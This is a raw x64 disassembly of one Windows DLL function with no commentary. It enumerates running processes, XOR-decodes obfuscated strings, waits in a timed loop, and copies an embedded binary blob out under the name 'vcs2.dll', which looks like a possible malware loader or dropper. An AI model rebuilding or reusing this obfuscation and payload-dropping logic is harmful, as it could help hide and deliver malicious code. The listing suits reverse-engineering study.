mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800261d0
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180008fd0
nop
cmp qword [rbp - 0x30], 0
jne 0x1800261f7
xor bl, bl
jmp 0x18002652e
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181f98]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180026289
mov r8, rdi
lea rdx, str..._.
lea rcx, [rsp + 0x60]
call fcn.180007750
mov r9, rax
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026c2a
mov rax, rbx
sub rax, r9
mov r8, rdi
cmp rax, rdi
cmovb r8, rax
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rax, qword [rsp + 0x60]
lea rcx, [rax + r9*2]
sub rbx, r8
lea rdx, [rcx + r8*2]
mov r8, rbx
sub r8, r9
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181f88]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x180026310
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800264bc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800264b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b7c
jmp 0x1800264b7
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180026330
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x20]
call fcn.180008fd0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x48]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180026383
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180026391
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x1800263b6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x1800263bf
add rax, 2
sub rcx, 1
jne 0x1800263a3
cmp r9, r10
jae 0x1800263c7
mov ebx, edi
jmp 0x1800263cd
mov ebx, r15d
cmovb ebx, edi
jmp 0x1800263cd
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x18002640d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c30
call fcn.1800d9c4c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x18002645e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026459
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c36
call fcn.1800d9c4c
test ebx, ebx
je 0x1800264c0
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180026310
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800264bc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800264b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c3c
call fcn.1800d9c4c
xor bl, bl
jmp 0x18002652e
mov r8d, dword [rbp + 0x138]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x1800264e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18002652c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026527
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c3c
call fcn.1800d9c4c
mov bl, 1
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002656e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026569
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b6a
call fcn.1800d9c4c
test bl, bl
jne 0x1800268a2
mov ecx, 0x98
call fcn.1800d9c10
mov rbx, rax
mov qword [rbp + 0x6b0], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x6c8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
xor r8d, r8d
lea rdx, [0x180140660]
lea rcx, [rbp - 0x20]
call fcn.180008fd0
nop
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
xor r8d, r8d
lea rdx, [0x180140664]
lea rcx, [rbp + 0x28]
call fcn.180008fd0
nop
movups xmm0, xmmword [str.JN_P]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180183500]
mov dword [rsp + 0x70], eax
cmp word [0x180183502], 0
je 0x180026644
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x3a
xor word [rsp + 0x64], 0x3b
xor word [rsp + 0x66], 0x3c
xor word [rsp + 0x68], 0x3d
xor word [rsp + 0x6a], 0x3e
xor word [rsp + 0x6c], 0x3f
xor word [rsp + 0x6e], 0x40
xor word [rsp + 0x70], 0x41
xor word [rsp + 0x72], 0x42
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
lea rax, [rsp + 0x60]
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x180026660
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x48]
call fcn.180008fd0
nop
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x48]
mov rcx, rbx
call fcn.180038ba0
mov r14, rax
mov rcx, qword [rbp + 0xd8]
mov qword [rax + 0x18], rcx
mov ecx, dword [rbp + 0xe8]
mov dword [rax], ecx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rbx, [rax + 0x7530]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
ja 0x18002689c
movups xmm0, xmmword [str.JN_PMZ27__k__I]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1801835c0]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x1801835d0]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x180026817
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180026720
cmp r8d, 0x11
jge 0x180026867
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x180026830
xor r8d, r8d
lea rdx, [rbp]
mov ecx, dword [rbp + 0xe8]
call fcn.1800c0940
test rax, rax
jne 0x18002690f
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
jbe 0x1800266c2
mov r15d, 0x405f
mov rdx, qword [rbp + 0x128]
cmp rdx, 7
jbe 0x1800268e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800268e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c42
call fcn.1800d9c4c
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x750]
movaps xmm7, xmmword [rsp + 0x740]
add rsp, 0x768
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, 0x2a400
lea rdx, [0x180339820]
lea rcx, [rbp + 0x98]
call fcn.1800c05f0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov rdx, qword [rbp + 0xa0]
sub rdx, qword [rbp + 0x98]
je 0x180026992
movabs rax, 0x7fffffffffffffff
cmp rdx, rax
ja 0x180026c48
lea rcx, [rsp + 0x60]
call fcn.18000a780
mov rdi, qword [rbp + 0x98]
mov rsi, qword [rbp + 0xa0]
mov r8, rsi
sub r8, rdi
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
call fcn.18010b710
sub rsi, rdi
add rsi, qword [rsp + 0x60]
mov qword [rsp + 0x68], rsi
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.180038f20
lea rcx, [rbp + 0x98]
call fcn.1800075e0
mov rdx, qword [0x1803a42d8]
lea rcx, [rbp + 0x370]
call fcn.180026c60
nop
mov rax, qword [0x1803a42d8]
mov dword [rax + 0x30], r13d
mov dword [rax + 0x24], r15d
mov dword [rax + 0x20], r15d
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180013d70
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.180013d50
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 8
jb 0x180026c4e
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova r9, qword [rbp + 0x48]
mov qword [rsp + 0x30], 8
lea rax, str.vcs2.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xf0]
call fcn.180009f50
nop
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0xf0]
call fcn.1800078c0
mov rbx, qword [rax]
lea rdx, [rbp + 0x6c8]
lea rcx, [rbp + 0xf0]
call fcn.1800078e0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x80]
call fcn.180008e90
nop
lea rdx, [r14 + 0x20]
lea rcx, [rsp + 0x60]
call fcn.180007650
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1800c5970
lea rdx, [rbp - 0x80]
lea rcx, [rbp]
call fcn.180007de0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, r14
call fcn.1800226d0
mov ebx, eax
lea rdx, [rbp + 0x370]
mov rcx, qword [0x1803a42d8]
call fcn.180026d90
test ebx, ebx
je 0x180026ad6
call fcn.180023c70
mov r15d, eax
jmp 0x180026ad9
mov r15d, r13d
lea rcx, [rbp - 0x80]
call fcn.180007c80
nop
lea rcx, [rbp + 0xf0]
call fcn.180007900
nop
lea rcx, [rbp + 0x48]
call fcn.180007900
nop
lea rcx, [rbp + 0x3b8]
call fcn.1800136e0
lea rcx, [rbp + 0x370]
call fcn.180013f70
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x1800268a2
mov rdx, qword [rbp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180026b4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b6a
call fcn.1800d9c4c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
jmp 0x1800268a2
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
int3
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800087d0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.1800e5fb0
nop
call fcn.180008710
nop
call fcn.1800035b0
int3